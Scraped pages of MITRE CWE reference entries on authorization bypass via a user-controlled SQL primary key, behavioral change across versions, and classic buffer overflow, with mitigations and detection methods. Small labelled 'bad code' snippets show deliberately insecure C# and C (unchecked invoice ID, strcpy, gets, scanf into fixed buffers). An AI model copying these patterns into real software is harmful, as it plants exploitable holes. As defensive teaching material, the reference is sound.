View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor.
+ Extended Description

When a user can set a primary key to any value, then the user can modify the key to point to unauthorized records.

Database access control errors occur when:

  • Data enters a program from an untrusted source.
  • The data is used to specify the value of a primary key in a SQL query.
  • The untrusted source does not have the permissions to be able to access all rows in the associated table.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.639Authorization Bypass Through User-Controlled Key
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Technologies

Database Server (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Access Control

Technical Impact: Read Application Data; Modify Application Data; Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

(bad code)
Example Language: C# 
...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.

+ Potential Mitigations

Phase: Implementation

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data. Use an "accept known good" validation strategy.

Phase: Implementation

Use a parameterized query AND make sure that the accepted values conform to the business rules. Construct your SQL statement accordingly.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.994SFP Secondary Cluster: Tainted Input to Variable
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP25Tainted input to variable
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Other_Notes, Potential_Mitigations, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Description
2011-03-29CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Access Control Bypass Through User-Controlled SQL Primary Key

CWE-439: Behavioral Change in New Version or Environment

Weakness ID: 439
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A's behavior or functionality changes with a new version of A, or a new environment, which is not known (or manageable) by B.
+ Alternate Terms
Functional change
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.435Improper Interaction Between Multiple Correctly-Behaving Entities
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.438Behavioral Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation; Varies by Context

+ Observed Examples
ReferenceDescription
Linux kernel 2.2 and above allow promiscuous mode using a different method than previous versions, and ifconfig is not aware of the new method (alternate path property).
Product uses defunct method from another product that does not return an error code and allows detection avoidance.
chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1398Comprehensive Categorization: Component Interaction
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCHANGE Behavioral Change
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Observed_Example, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Behavioral Change

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Weakness ID: 120
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.
+ Extended Description
A buffer overflow condition exists when a product attempts to put more data in a buffer than it can hold, or when it attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the "classic" case in which the product copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.
+ Alternate Terms
Classic Buffer Overflow:
This term was frequently used by vulnerability researchers during approximately 1995 to 2005 to differentiate buffer copies without length checks (which had been known about for decades) from other emerging weaknesses that still involved invalid accesses of buffers, as vulnerability researchers began to develop advanced exploitation techniques.
Unbounded Transfer
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.785Use of Path Manipulation Function without Maximum-sized Buffer
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.170Improper Null Termination
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.231Improper Handling of Extra Values
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.416Use After Free
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.456Missing Initialization of a Variable
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.123Write-what-where Condition
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1218Memory Buffer Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Class: Assembly (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Modify Memory; Execute Unauthorized Code or Commands

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of the product's implicit security policy. This can often be used to subvert any other security service.
Availability

Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the product into an infinite loop.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code asks the user to enter their last name and then attempts to store the value entered in the last_name array.

(bad code)
Example Language:
char last_name[20];
printf ("Enter your last name: ");
scanf ("%s", last_name);

The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very_very_long_last_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total.

Example 2

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

(bad code)
Example Language:
void manipulate_string(char * string){
char buf[24];
strcpy(buf, string);
...
}

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

Example 3

The code below calls the gets() function to read in data from the command line.

(bad code)
Example Language:
char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
...
}

However, gets() is inherently unsafe, because it copies all input from STDIN to the buffer without checking size. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

Example 4

In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the gethostbyaddr method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file.

(bad code)
Example Language:
...
struct hostent *clienthp;
char hostname[MAX_LEN];

// create server socket, bind to server address and listen on socket
...

// accept client connections and process requests
int count = 0;
for (count = 0; count < MAX_CONNECTIONS; count++) {

int clientlen = sizeof(struct sockaddr_in);
int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen);

if (clientsocket >= 0) {
clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET);
strcpy(hostname, clienthp->h_name);
logOutput("Accepted client connection from host ", hostname);

// process client request
...
close(clientsocket);
}
}
close(serversocket);

...

However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method.

+ Observed Examples
ReferenceDescription
buffer overflow using command with long argument
buffer overflow in local program using long environment variable
buffer overflow in comment characters, when product increments a counter for a ">" but does not decrement for "<"
By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.
By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.
+ Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Note: This is not a complete solution, since many buffer overflows are not related to strings.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.

D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness: Defense in Depth

Note:

This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

  • Double check that your buffer is as large as you specify.
  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
  • Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.
  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.

For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness: Defense in Depth

Note: These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]

Phase: Operation

Strategy: Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.

For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness: Defense in Depth

Note: This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phases: Build and Compilation; Operation

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness: Moderate

Note: This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Note: Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • Memory Management
+ Affected Resources
  • Memory
+ Memberships
